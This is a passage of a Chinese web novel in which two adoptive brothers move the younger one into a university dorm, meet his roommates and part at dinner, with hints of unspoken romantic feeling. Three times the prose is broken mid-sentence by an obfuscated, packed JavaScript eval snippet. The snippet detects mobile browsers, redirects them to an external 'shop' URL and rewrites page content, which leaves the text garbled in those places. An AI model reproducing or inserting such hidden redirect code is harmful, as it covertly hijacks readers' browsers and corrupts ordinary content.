大概隔了一两分钟,门到底是开了,乱糟糟的司弈神情疲惫,但还是习惯性接过司驰手中的托盘,强挤出一丝笑容:“算了,进来吧。” 结果和司弈面对面坐在软椅上,司驰喝着热牛奶,半晌没好意思开口。 司弈也没催他,自顾自看着笔记本电脑里的数据,一副不知疲惫的样子。 “哥,为什么你会那么生气呢?”司驰垂眼看着手上的杯子,纹路是一圈圈贝壳拼成的海浪,“我在厨房里,看见了花瓶和茶具的残片。” “非要我揍你一顿,你心里才踏实?”司弈冷声反问。 “你不会这么不讲道理。”司驰喝完剩下的牛奶,把杯子顺手搁到一旁,“当然你心里要真过不去,打我几下也成,反正你是哥哥,我又不能怪你。” 不对,司驰忽然意识到,他明明想跟司弈好好聊聊,但为什么又开始说些赌气的话。 “是啊,你是弟弟,我也不能怪你。”司弈原话奉还。 司驰扬起声音:“那你就要瞒着我,让我猜来猜去,让我难受得睡不着吗?” “你可以不猜,没人让你猜。”司弈叹息地合上电脑,他应该是太累了,眼尾飞红,“你已经成年了,有自己的社交圈子,也会遇到……自己喜欢的人,不用成天再看我脸色。” “我又不是什么要紧的人。”末了,司弈错开眼,轻声说了句混账话。 司驰闻言,起身直接迈到桌前,双手揪过司弈衣领,将他从转椅上拽起。 眼看着他不明就里,还强撑着没必要的微笑,司驰心里的火烧得更盛。 “我担心你、在乎你,为你不理睬我难过,结果你倒好,轻易地给我假定一个未来,断言我就是那种忘恩负义的白眼狼!”司驰摇晃着司弈,嘶吼得过分,都能感觉到喉咙里的血腥味,“我本来是想向你道歉的,没跟你报备是我不对,忘记开学时间是我不对,但你为什么就不能像以前一样,好好听我说这些?为什么要露出这种自暴自弃的表情!” “好像是……” 好像是我辜负了你,好像是我不要你了。 “阿驰,我今天还想和你睡一个房间。”司弈却没头没脑地接了这么一句话。 司驰没反应过来,下意识反问:“为什么?你不是有房间吗?别想岔开话题啊。” “嗯,想你别骂我了。”司弈咧开一个难看的笑容。 “不想被骂就老实交代。”司驰放轻了声音,也放开了司弈的衣领。 “也不是对你生气,我生我自己的气。”司弈双手在书桌上撑了撑,似乎下定了某种决心,“我上学那会儿有个喜欢的人,TA最近结婚,今天婚纱照出来了,我才知道有这么回事。” 原来是这么个不“体面”的理由,难怪要关闭「众里」系统,以免被小机器人记录下来。 “那还真是可惜……”司驰五味陈杂,不放心地追问,“是和我俩那场意外有关吗?” “想什么呢?我们俩的事没人知道。”司弈从书桌那头绕过来, “我和TA错过,是因为我从来没跟TA说过喜欢。” 那你还是挺活该的,司驰酸酸地在心里回怼,但这话他万万说不出口,司弈已经很伤心了,他不能在人家伤口撒盐。 “天涯何处无芳草嘛……”司驰干巴巴地安慰道,和站到他身前的司弈对视,“哥,你要是不想一个人待着,可以和我一起睡。” “反正,反正不管怎么样,我都在你身边。” 本来嘛,作为被哥哥一手带大的弟弟,司驰认为自己有必要安慰哥哥的一切伤心事,其中便包括情伤。 司弈笑笑:“谢谢阿驰。” “那……抱一下吧。”司驰张了张胳膊。 司弈很配合地上前, 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“我肩膀被你压着呢。”司弈特意抬了抬肩膀。 司驰坐直身子:“少来,我也只压了你一边肩膀。” 他不像司弈那么磨叽,抬手就把簪子一抽,司弈的长发便如同丝绸般滑落到肩膀后背,漾起一丝丝忍冬的清苦。 为掩饰自己面上的不自在,司驰转过脸把发簪放床头柜,平复了一下心跳,才又若无其事地继续靠着司弈肩膀。 “我开始讲了?”司弈试探地问。 “嗯……先等等。”司驰盯着放在书页边缘司弈的手指,“你喜欢的人是什么类型的啊?我要是遇见了,可以给你牵牵线。” “你这安慰人的法子也挺别致。”司弈失笑。 “旧的不去新的不来嘛。”司驰张口胡说八道,“谁都没必要为谁苦恋一辈子。” “能苦恋一辈子也蛮幸福的。”司弈说。 司驰抬起脸,看司弈不像是开玩笑的神色,有些怒其不争:“哥,这恋爱脑可不兴当啊,你要珍惜你自己。” “我试试看吧。”司弈到底没把话说死,“但我也说不太清喜欢的类型,只能说我喜欢的人身上的特质。” “嗯嗯。”司驰凑得更近了些,几乎又上手搂住了司弈。 司弈便看着他眼睛回答:“长得很帅气硬朗,也很有才华,性子急了点儿,但很心软,也很可爱。” “这个范围有点广呢。”司驰陷入沉思,不过可以确定司弈对白序礼没有兴趣,白序礼长得就一点不硬朗帅气,“但也有好处,你选择面挺宽。” “那再加上一点吧,TA在某些方面比较笨拙。”司弈说。 这一点加得让司驰不太满意,他说:“你一个聪明人,当然要找另一个聪明人啊。” “那要是另一个聪明人算计我呢?”司弈反问。 “也是,可以不那么聪明,也不能是傻子,要刚刚好。”司驰记了下来。 司弈伸手点了点司驰额头:“还听不听故事了?” “听!”司驰赶紧回答。 19. 开学 司驰这回没有做奇怪的梦,但还是梦见了司弈。 司弈吃了毒苹果,昏睡不醒,作为小矮人的司驰泪汪汪地趴在棺材边,喊他也不应,推他也不醒,正在六神无主之际,远远地有个人骑白马而来,说TA有办法唤醒司弈。 司驰虽看不清这人的脸,但也知道此人一定帅气冷硬,是司弈的心选之人,TA会用一个亲吻唤醒司弈,和司弈幸福快乐地生活在一起。 “不要!你走开!”司驰猛地把那无脸人推开,而后扑在司弈身上护着。 那无脸人却不依不饶:“你又没有办法,为什么要拦着我想办法?难道你想毁掉你哥哥一辈子吗?” 司驰一愣,反倒把司弈护得更紧了些:“你不是好人!我要等一个好人!” 于是无脸人骑着白马“哒哒”地跑开,紧接着又来了更多的无脸人,他们骑着黑马、红马、花斑马,绕着棺材“哒哒”起舞,齐声说着一句话: “再不让开,你会毁掉你哥一辈子!” 司驰打了个激灵,睁开眼时特意擦了擦眼,没掉眼泪,太好了。 他这才发现床头灯亮起,司弈站在穿衣镜前,正弯腰细心穿戴着衬衫夹,下身只穿着一条四角短裤,露出一双肌肉分明的长腿。 “你今天还穿正装干什么?”司驰目光扫到勒紧司弈大腿的腿环,很快又挪开,下意识蜷缩了身子,把被子往上扯了扯。 “习惯了,去报名不能穿么?”司弈把衬衫拉直,扭脸看向司驰。 “报名完了要把行李搬去宿舍,你穿正装怎么搬?学校又没配备「众里」系统。”司驰瓮声瓮气地说,感觉到自己身体平复下来,才暗暗地松一口气。 司弈也好说话:“说得也是,但我运动装不多,能穿你的吗?” 司驰坐起身:“你随便拿,跟我客气啥。” “谢谢阿驰。”司弈非要跟他客气,随即又弯腰,把腿环的扣子解开。 这期间他全然不避开司驰,利落地把两个衬衫夹都从大腿取下,再解开衬衫的扣子。 “哥!哥!”司驰连忙喊道,“我还在这儿呢!” “你又不是没见过。”司弈把长发撩到身前,退去衬衫时裸出如玉般的背脊。 司驰来不及脸红,便看见那脊背上怎么也无法褪尽的蜈蚣状疤痕,这是前几年那场致命的灾祸给司弈留下的创伤,于是脸红自然被眼眶泛红替代,连带着司弈走近都没有反应过来。 “都看过了怎么还发呆?”司弈也不急着穿衣,反倒半跪在床沿,往司驰那边倾身。 司驰躲避不及,只好紧闭双眼:“我刚刚就是在想,你的疤还疼不疼。” “过去那么久的事情,还念叨它做什么?”司弈笑笑。 随即司驰听到被子摩擦的声响,他睁开眼时,司弈正把他旁边的被子掀开一个角,而后自自然然地挤到司驰身边躺下。 司驰顿时抓着被子,动也不敢动,而司弈浑然不觉他的僵硬,理所应当地说:“再睡会儿吧,时间还早。” “你再睡会儿……不穿睡衣啊?”司驰期期艾艾地问。 “穿了待会儿起来要脱,好麻烦。”司弈为难地回答,往司驰身上靠了靠。 司驰躲了一下:“我去关灯。” 司弈直接打了个响指,整个屋子重新陷入黑暗。 “竟然这么早吗?”司驰喃喃。 另一边司弈已经搂过他的腰,脸蹭上他颈窝,应和说道:“我做噩梦了嘛,想继续睡又睡不着,就先起来搭配搭配外出的衣服。” “嗯,梦见什么了?”司驰被吸引了注意力,原本不知怎么放的手,落在了司弈后腰的腰窝。 “梦见……我去参加我初恋的婚礼。”司弈失落地喃喃道,“TA在婚礼上很快乐,还把手捧花送给我,祝我早日觅得良缘。” 司弈的初恋怎么这样,好过分! 虽然这只是司弈的梦境,但司驰还是由衷地为司弈抱不平。 “梦和现实是相反的。”司驰笨拙地安慰司弈,“你那么好,谁不喜欢你就是TA不好。” 司弈竟然还往回找补:“这话说得还是太霸道了。” “你就是这样,太心软,太为别人着想了。”司驰仍然愤愤不平,“下次喜欢谁,记得及时表白,我就不信有人会拒绝你。” 敢拒绝司弈的,司驰会把TA们都送去眼科! 结果一说到这儿,司弈又转移话题:“阿驰,你有喜欢的人了吗?” 司驰沉默了会儿,不好说谎:“算是有。” “那你会准备跟TA表白吗?”司弈问。 “啊呀,这个不好说。”司驰为难地回避道。 “你如果表白的话,也没有人会不同意。”司弈轻声说,“谁会不喜欢我们阿驰呢?” 那你喜欢我吗? 司驰差一点就把这话说出了口。 可是他还困着,很快闭上眼睛,睡起了回笼觉。 司弈的信息素真好闻啊。 * 有司弈在,司驰一点也不担心他们会迟到。 上午九点半,他们的车便驶入美院所在了围谷岛,再过半小时就到美院的正门。 司弈穿上了白底亮橙色涂鸦的T恤,下身搭着黑色的七分裤、白色运动鞋,将头发梳成高马尾,看上去比司驰还像大学生。 大学生司驰也和司弈差不多打扮,只不过他穿的T恤是黑色底,司驰很庆幸这两件T恤买的是同款,进可说是情侣装,退可说是兄弟装,就看旁人怎么理解。 为这么点儿小事,司驰一路都很高兴,嘴角止不住上扬,但司弈问他笑什么,他也只含糊地说自己在期待大学生活。 事实证明,司驰让司弈穿运动装是个不错的决定,报名的各项手续虽然是在综合楼的大厅完成,但搬运行李到宿舍楼,就需要顶着烈日炎炎穿过大半个校园,期间不说晒化了,也走两步都是汗。 只是司弈为不引起骚动,额外戴了口罩,陪司驰搬行李上到宿舍楼七楼,差点没喘过气。 于是趁楼层人少,司驰把手上的行李放地上,腾出手摘了司弈的口罩。 “这会儿人少,你赶紧先缓口气。”司驰说。 司弈面颊泛红,边喘气边笑道:“没事儿,先去宿舍吧,布置好了再休息。” 司驰只好把他粘黏在面颊的碎发拨到耳后,重新拎起行李,气哼哼道:“什么时候你跟我们学校谈合作,让学校宿舍楼安装上「众里」系统?” “我努力一下吧。”司弈和他并肩往前走,“而且你们学校不应该先安装一下电梯吗?” 司驰也无奈:“之前听班导学姐说,我们级的Alpha宿舍都是老宿舍楼,所以没办法……” 兄弟俩前后进了宿舍,这时候宿舍里已经来了一个室友,他们宿舍是上床下桌的四人间,但只住三个人,所以这会儿还差一个。 “呀,来了啊。”室友穿得黄黄绿绿,打着洞洞孔孔,耳坠唇钉在日光下晃眼睛,“我叫舒金盏,是金盏花的金盏,之后五年还请二位多多关照啦~” “你好,我叫司驰,飞驰的驰。”司驰行李也来不及放下,先颔首打招呼,“这是我哥,他来送我上学,我们另一个室友应该还没到吧。” “原来你们是兄弟啊,不好意思,不好意思,我还以为……”舒金盏玩味的目光在司驰和司弈之间回转,但到底没说出以为个啥。 司驰也不好追问,配合司弈拿下自己背上的包,司弈开口道:“之后五年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875683|191894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也请金盏你多多关照司驰。” “一定一定,哥哥放心!”舒金盏顿时笑意快从眼睛涌出来,“哥哥叫什么呀?有对象吗?哥哥看我怎么样?” “舒同学,我还没跟你熟悉到这程度吧。”司驰将司弈挡在自己身后,面色不善。 舒金盏讪讪地摆手:“不好意思,不好意思,我只是见到养眼的人有些人来疯,还想着先问完哥哥,再问问你呢,阿驰。” 司驰只感觉后背恶寒,此人怎么如此厚颜无耻?果然网上说的没错,学历越高,神人越神。 倒是司弈把他身上的行李卸下,若无其事地将他肩膀一搭,客气地回答舒金盏:“我叫司弈,博弈的弈,谢谢你的好意,金盏,只不过我目前没打算谈恋爱。” 舒金盏又问:“那阿驰呢?” “我也没有!”司驰立马炸毛。 听得舒金盏扶着桌子笑得发抖:“好啦好啦,别看我像看丧尸,我又不会半夜爬你床上咬你一口,我还是很传统的,对Alpha的兴趣没那么大。” 司驰仍然一脸防备,司弈帮忙解围道:“人家有那个心思,就不会直说了。” 司驰扭脸瞪着司弈,舒金盏还跟着添乱向司弈抛媚眼:“诶,还是哥哥懂我。” “那你俩拜把子去吧,我自己收拾行李!”司驰挣开司弈,环顾一圈,找到自己床铺的位置,把被褥凉席往上扔,司弈想搭把手安置其他的物件,司驰又干脆把包和箱子拎走,到门边的储物柜前,找到自己的柜子放进去。 “阿驰真好心,我从小就想要个哥哥,可惜一直都是独生子。”舒金盏继续逗他。 司弈接茬说:“舒同学,有什么事待会儿再聊吧,我和阿驰还没收好行李。” “好好好。”舒金盏终于闭了嘴。 司弈便走到储物柜前,看司驰把放进去的行李箱拖出来,狼狈地打开翻找洗漱用品。 “你这室友心不坏,就是性格跳脱了些。”司弈半蹲下来陪他一起翻找,小小声说道,“你要是不想被他开玩笑,正经一点拒绝就行了。” 司驰抬眼:“反正也是我不经逗,没那幽默的天分。” “这又不是什么坏事。”司弈说。 司驰搂着自己那些瓶瓶罐罐起身,司弈便帮他把行李箱重新拉好,塞回柜子里。 “我洗发水沐浴露都放浴室,你要用都可以。”经过舒金盏桌子边,司驰还是跟他提了一嘴。 舒金盏正在拆一顶蚊帐,听他这么说,也抬眼笑:“我的也已经放好了,你挨着放就行。” 司驰还没从阳台边的浴室出来呢,便听见宿舍里又热闹起来,他本来还以为是舒金盏又在跟司弈搭话,但细听好像是另一位舍友到了。 “我叫……齐秉钧。” 司驰从阳台回来,便听见新舍友颤巍巍的自我介绍,打眼望过去,看见一道贴着墙站的熟悉身影。 “秉钧?太好了!我还以为和你分不到一个宿舍呢!”司驰三两步迎上前。 齐秉钧仍然穿着集训时那老一套,黑衣黑裤黑鞋黑帽子,如果不是太热,他估计还会加上黑口罩,整个人在看到司驰迎上来时,“腾”地离开了墙面,连背包都没来得及放下,便当着司弈和舒金盏的面,把司驰扑了个严严实实。 “太好了,阿驰!”齐秉钧搂住司驰就不放,也不顾其他人看着,声音比方才高了八度,“看来我去莲花山拜佛还是有用的,菩萨听到了我的愿望!” “你先等等,把行李放下啊。”司驰迂回地劝人,他这位同窗好友没别的毛病,就是专注力太强,认定一件事绝不撒手,“把行李放下,我们再聊……” 不知是不是他的错觉,司驰瞥见齐秉钧身后的司弈,面上的笑意僵硬了不少。 20. 私心 齐秉钧总算撒开了司驰,脸红红地冲司弈和舒金盏分别点点头,而后才找到自己的上床下桌,把背包卸下来,闷头疾步走出去,把放在外边的行李箱拎进来。 司驰想去搭把手,被司弈不动声色地拦了一下。 “你床还没铺好呢,桌椅上也都是灰。”司弈递给司驰干净的抹布,司驰都不知道他啥时候准备好的。 司驰看一看桌椅的灰尘,习惯性撒娇道:“哥,那你要帮我擦,我一个人怎么弄得完。” 舒金盏在旁边憋笑,司驰才反应过来,他这俩室友好像都是自己来报道的,可不像他这么娇气,一时讪讪地红了脸。 好在司弈从不教育他要向别人家的孩子看齐,只笑笑:“没说不帮你。” 兄弟俩分工,司驰站在木梯上,把装凉席和被褥的袋子推到边缘,而后抻长身子擦拭床板;司弈则仔仔细细地擦拭着下方的桌椅。 “床板和桌椅都要擦吗?”拎着两只行李箱进门的齐秉钧见状愣愣道。 “有灰尘还是擦一下比较好。”司驰回答,“哥,还有抹布吗?给秉钧一条吧。” 司弈似乎专注地在和灰尘作斗争,没太听见,舒金盏适时地接茬:“我有多的湿纸巾,秉钧你要吗?” “谢谢。”齐秉钧看一看司驰,犹犹豫豫地走到舒金盏面前,再次说了声,“谢谢。” 司驰一下子被晾在这儿了,他不清楚司弈又是在闹什么别扭,但好在不是什么大事,一会儿也就带了过去。 舒金盏是个妥帖人,见大家收拾得差不多,主动提出互相加个联系方式。 “哥哥,你要愿意的话,也留个联系方式呗。”舒金盏特意对司弈说道。 这才是你的真实目的吧!司驰忍不住斜了舒金盏一眼,不过司弈直接同意了。 因为司驰有齐秉钧的联系方式,所以这会儿他只用加一下舒金盏,另一边齐秉钧也没干等着,司弈主动加了齐秉钧,好像方才那点尴尬的小插曲不存在。 “失也?阿驰,你这网名好丧哦。”舒金盏刚刚上线的情商又下线,“为什么不叫诗也,诗歌的诗?” “这名字笔画少,好记好写。”司驰淡淡地应和,舒金盏的名字也简单,就拆了一下字“舍皿”。 司弈的网名叫什么,司驰忘记了,他给司弈所有联系方式的备注都是“哥”,划开来看一看,司弈的网名是“亦也”。 啧,学我。 司驰扫了眼司弈,司弈则若无其事地继续加上舒金盏。 “以后有什么需要帮忙的,可以直接联系我。”司弈对两位室友说,“你们都是阿驰的朋友,不用那么客气。” 齐秉钧只管点头没有回话,舒金盏嘻嘻笑道:“哥哥多在朋友圈里发些自拍,就是对我最大的帮助了。” 果然这姓舒的就不是好人! 司驰气归气,但还是和司弈一块把准备好的见面礼送给室友,这是司氏自主研发的运动手表,根据说明书调试好,平时不光能测量心跳血压,还能根据身体情况推算易感期的时间,提前给佩戴者做出提醒。 齐秉钧一贯少话老实,双手接过手表盒子,也忙不迭从自己行李箱里搬出特产。 舒金盏倒没过多的反应:“看来有要紧事真能找哥哥帮忙啊。” 不,司弈帮谁都不能帮你! 司驰刚想怼人,司弈又拦了拦他:“我和阿驰想逛一逛校园,就先走一步,晚些时候你们再聚。” “嗯,秉钧,你也别忙活,等晚上再开特产吧。”司驰只得应和着说。 和司弈一块逛校园最最要紧,其余的他可不在乎。 “那祝你们玩得开心。”舒金盏无所谓地摆摆手,“晚上见啦,阿驰。” 齐秉钧跟着点头:“晚上见。” 走出宿舍门,到楼梯口,司驰长舒一口气,用胳膊肘碰碰司弈:“哥,你刚刚怎么针对秉钧啊?” “那你不也对金盏态度不好?”司弈也碰一碰他,反问道。 司驰一面下楼,一面理直气壮道:“因为他看着不是个好人,但秉钧和他不一样,秉钧心眼好,之前集训的时候我就跟你说了。” “嗯,那可能是我误会了吧。”司弈轻巧地话带了过去。 下了楼,司弈又把口罩重新戴上,司驰看着心痒,也找司弈要了个口罩。 “嘿嘿,同款。”司驰揽过司弈肩膀,举起手机和司弈一块看向镜头。 逛校园必备的就是合影留念。 广场,打卡;开荒牛塑像,打卡;美术馆,打卡。 “你拍这么些是要发朋友圈吗?”司弈终于找着了空闲问道。 他们这会儿坐在美术馆内的长椅上叹空调,司弈拉下口罩,露出泛红的脸。 司驰趁机对准他又拍了一张:“不啊,我自己收藏纪念。” 才不给别人看呢。 “之后我也争取每月抽取时间,像你集训那会儿,每月聚一聚。”司弈说。 “这你不用操心,我打算每周回你公司附近的房子住。”司驰收起手机,边取口罩边往司弈旁边靠了靠,“你就算再忙,也得回去睡觉不是?” 司弈笑:“你这就不嫌弃我那儿地方小了?” “住习惯了还行。”司驰又开始别扭,“我主要是想着每月一聚太久了,上大学后我又不会像高中那么忙。” “但你还要交际呢,新朋友老朋友都得维系。”司弈从他背着的小包里取出湿纸巾,伸手给司驰擦脸颊的细汗,“而且你要想继续提升画技,需要下的苦功也不比高中小。” “对于我来说,你从来都是排在这些之前的啊,哥。”司驰没有避开擦拭,盯着司弈眼睛认真说。 你才不是不要紧的人,如果公序良俗允许,我真想我们俩过一辈子。 就我们俩,没有别人。 但这些话,司驰不能说出口,他自己耽误自己也就罢了,怎么能耽误司弈呢? “那就这样吧,阿驰。”司弈同意了司驰的要求,“在我这儿你总是排第一的。” “你说这话我可当真了。”司驰抓着司弈给他擦汗的手,定定地说,“以后不许为别的谁再像昨天那么生气,生气多伤身体。” “昨天的事还翻不了篇啊?”司弈失笑。 “你先答应我。”司驰又不讲道理地撒娇。 “嗯嗯,好。”司弈确切地点了头,司驰才恋恋不舍地松开他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16875684|191894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>游览了一圈校园,很快就到了晚饭的点,他们中午搬行李太兴奋,就吃了两块巧克力,这会儿已经是饥肠辘辘。 司驰领着司弈去了校门外的亭南村,这里有网上很火的美食街,据说随便找一家都好吃。 他们采取就近原则,选了村口的新疆菜,这会儿人不多,他们被服务员小姐姐引到了彩玻璃窗户边的卡座。 司弈不点菜,就看司弈照着网上的帖子点推荐菜,不多时有些出神。 “我就点这些,然后手抓饭不要胡萝卜。”司驰把打了勾的菜单推给司弈看。 “吃手抓饭不吃胡萝卜,有点不太正宗。”司弈神情晃了晃。 “但你不吃胡萝卜啊,为什么要勉强?”司驰不理解,“别是饿昏头了吧,哥。” “可能是。”司弈抬手,招来了服务员小姐姐。 等餐的间隙,司驰回了季青和发小群的消息,额外跟司弈解释说:“季青下周开学,但季阿姨和谭叔叔最近在旅行,所以我到时候过去帮他搬行李。等他报完名,我们还得去和千仔他们聚,好像说阿蓁和阿卓要订婚了,这是专门为他俩攒的祝贺局。” “阿蓁和阿卓不跟你是同岁吗?这么早订婚?”司弈惊讶地追问。 “他们家长辈订的嘛,也没考虑他俩愿不愿意,就是觉得两家知根知底,早订下比晚订下好。”司驰也觉得心累,“要不是现在法定婚龄是二十二岁,他俩估计高中一毕业就结婚,二十二岁可能都有二胎三胎了。” “也是,他们两家的老古董比我们家更多,而且还是直系的。”司弈深以为然,说出的话舔一口能把人毒死。 司驰笑:“堂爷爷他们要是敢逼你结婚,我就把司振宗、司天赐他们干的蠢事抖落出来,看哪家好Omega敢和司家的Alpha联姻。” “放心吧,阿驰,目前董事会的老东西们都不敢得罪你我。”司弈沉静地说道,眼帘低垂,“等再过两年,司氏不会再受这样的董事会桎梏。” 这就涉及到司家内部权斗的事情了,司驰不是很懂,但隐约听说司弈在一步步从董事会收回股权,所以哪怕「众里」系统面世以来广受好评,开拓市场也十分顺利,但司弈一直没办法闲下来。 “也别太着急,你身体要紧。”司驰只能见缝插针地叮嘱。 司弈配合地点点头,和小时候一样,总是对司驰露出这样一副柔软的、无可奈何的表情。 “哥,我这会儿都有点舍不得你走了。”司驰犯傻地说。 “你从上幼儿园开始就喜欢这么撒娇。”司弈逗他。 “那你不也没一次陪我上学嘛。”司驰找着了话柄,不依不饶道,“我以前小学班上有对双胞胎兄弟,人家好像都是一直读一个班,连上大学也读一个班。” “我再让吴老师研究研究,看能不能研究出返老还童的药。”司弈也就顺着他话说,“我吃了变回十八岁,陪你一块上大学。” “也不用变回十八岁,你现在就很好。”司驰哼哼唧唧,“我就希望吴老师能研究出时空穿梭机,然后我用穿梭机回到你出生的时候。” “你从小到大都认识我,但我不认识七岁前的你,这对我太不公平了啊,哥。” 21. 不速 司弈又笑司驰是个傻孩子。 “就是因为你这样,我才很有穿越时空的必要性。”司驰气呼呼地说。 还好烤包子和牛肉串上来得及时,不然司驰还要再气一会儿。 司弈当然也不能笑话司驰孩子气,只好顺着他话说:“也不用穿越时空,我现在就可以叫你‘哥哥’,让你感受一下。” 虽然这副大学生打扮的司弈叫司驰“哥哥”也不违和,但司驰自己思忖一会儿,便先红了耳朵,胡乱拿了个烤包子塞嘴里。 “不用了,你叫我哥,我怕遭雷劈。”司驰含含糊糊地拒绝。 “你还是太乖了。”司弈说。 司驰正想反驳,这时服务员端上了没有胡萝卜的羊肉手抓饭,以及两杯搭配喝的酸奶。 等人走远了,司驰才讪讪开口:“说我乖的是你,说我不乖的还是你,好话坏话全被你说尽了。” 司弈腾出手先给司驰拨去一碗手抓饭,而后再顾着自己,“多数时候还是乖的。”司弈说,“没怎么让我操心。” “这评价有点高哦。”司驰听着不免有些得意,撂下咬了一半的烤包子,扒拉两口手抓饭,顿时眼前一亮,“你快尝尝,这手抓饭好好吃!” 司弈看着他笑:“嗯嗯。” 但没想到吃饭的时间过得那么快,人家店里生意好,司驰也不好意思赖在这里久坐,付完钱就磨磨蹭蹭地和司弈一块出了亭南村村口。 司弈的车停在临近亭南村的这个校门外,换句话说,没几步路司驰就又要和司弈分开了。 “我在想我今天跟你回去住,明天应该能赶上早上八点的迎新讲座吧。”司驰似乎无意间碰碰身侧司弈的胳膊。 “能赶得上,但你得凌晨五点起。”司弈也碰碰司驰胳膊,“今晚上你不是还要和室友破冰吗?跟人家都约好了,别出尔反尔。” “你看你,竟然能舍得我。”司驰立马撇了嘴,顺手就挽过了司弈胳膊,“每次我升学你都这样,说点舍不得我的话嘛。” “再舍不得你,也不能把你留在身边当保镖啊。”司弈不吃他这套,“我要真狠心,应该把你赶去参加国美和华美的校考,你这五年就别想留在G市了。” 他们已经走到了司弈的车前,停车场的镂空地砖有些硌脚。 “哥,你非要在这种时候让我伤心吗?”司驰戏多地耷拉下眼睛,“我就是想听你哄哄我。” 司弈应该还想再怼他的,但避不开他委屈巴巴的表情,只好清了清嗓子:“那抱一下吧。” 其实抱一下很在情理之中,司弈话音刚落,司驰就直接搂了过去。 拥抱并没有那么特别,朋友之间可以拥抱,家人之间可以拥抱,何况司驰基本就是被司弈从小抱到大的,司驰贪心不足,还想要更特别的、更亲密的举动。 但是那样就越界了。 司驰闭眼感受着司弈搂紧他后腰的力度,同时也嗅到了司弈颈间淡淡的忍冬气息,忙碌了一整天,司弈都没找着空闲补喷香水,信息素的气息没能压住,不过还好只有司驰能近距离闻到。 “我下次做早餐,你不能不吃,我熬的粥很好喝的。”司驰睁眼慢慢放开司弈,也慢慢放着不狠的狠话。 司弈的手从司驰后腰滑过,在司驰胳膊边停留片刻,最后才收回到身后。 “嗯,那我从现在就开始期待。”司弈认真地哄司驰,说出的话总是很好听。 司驰就站在停车场边,看司弈那辆银灰色的轿车消失在暮色中,才下意识摸了摸手腕处司弈留下的余温,同手同脚地往校门走去。 入夜了,校园里也很热闹,陪家长的陪家长,交朋友的交朋友,司驰循着灯光的方向走着,蓦然感觉到一丝形单影只的冷清——他是真没救了,明明和司弈分开没到十分钟,他就又开始想念司弈。 去学校的超市买了垃圾桶、垃圾袋、衣架和晾衣杆,叮叮当当的物件挎满身,司驰感觉到心里踏实了些,甚至还能腾出手来给季青发手抓饭和烤包子的照片,可惜季青因专业问题没有被分到Z大围谷岛的校区,不然他俩还能经常去亭南村吃饭。 「驰哥,没有我的日子,你大学生活也要幸福啊。」季青戏多地发来消息。 司驰在「滚」和「滚」之间选择了:「滚远点儿。」 原本他们高考走的不是同一路子,高二开始都没怎么一块上过课,聚也只能放假的时候聚。 那会儿尚且青涩的季青还说:“要是能一直停留在小时候就好了。” 可时间一直在往前走,人怎么能一直停留在某时某地。 司驰“叮叮当当”地回到宿舍,门没锁,一推开便传来舒金盏的笑声。 “好巧呀,阿驰,你也买了这些?”听见他进门,舒金盏停了笑,靠在椅背上扭脸打招呼道。 被舒金盏先前的笑声逼到床角的齐秉钧,也从空调被里探出脑袋,脸红红地低声说:“我和金盏都买了。” “那正好换着用吧。”司驰舒了一口气,不知为何,心里松快了许多。 * 司弈把车停在公司楼下,想着明天用车开出去方便,这会儿直接步行回小区。 路上收到了司驰的消息,是一张和舍友们的大头照合影,可能是要在人前保持些面子,司驰没有笑得开怀,只淡淡地抿起嘴角,打眼看过去有些冷冽清俊的意味。 傻小子越长越好看了,可惜他自己没半点自觉。 司弈把照片存好,回复司驰说,他已平安到家。 「早点休息。」司驰很快发来消息,「今晚就不要想着工作不工作了。」 「好。」司弈总是这样回答司驰。 回答他别别扭扭的关心,回答他想起一出是一出的撒娇,回答他无处释放的愤怒。 司弈记不清自己是什么时候学会的察言观色,反正在司驰牙牙学语时,他就已经能在养父母面前扮演一个好哥哥的角色,对待司驰从来只有一副温柔得体的假面孔。 但养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16875685|191894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父母对此很满意,他们不关注司弈的个人情绪,只需要司弈听话懂事,是件省心好用的工具即可,他们甚至嫌司弈长得太慢,认为司弈的衣食住行每个方面都是在浪费司家的资源。 司弈需要照顾好司驰,只要司驰欢喜地展露笑容,他就能额外多吃一点米饭,不用从家里养的仓鼠或垂耳兔的食盆里偷拿胡萝卜或玉米粒吃。 那会儿养母喜欢养些小动物,后来她和养父去世,家里就没再养过,司驰没让司弈继续养,明明司驰也喜欢小动物,或许是怕睹物思人吧,司驰没说理由,司弈没有追问。 司弈一直憎恨养父母,司驰觉察到了,也没有追问,他这个傻孩子,只要稍稍追问一下就会知道,他们并不是亲兄弟,司弈没有照管他的义务,如果想衣食无忧地继续生活下去,那就得想尽办法讨好司弈。 可是那样太坏了,司弈又不是养父母,他舍不得司驰吃这样的苦。 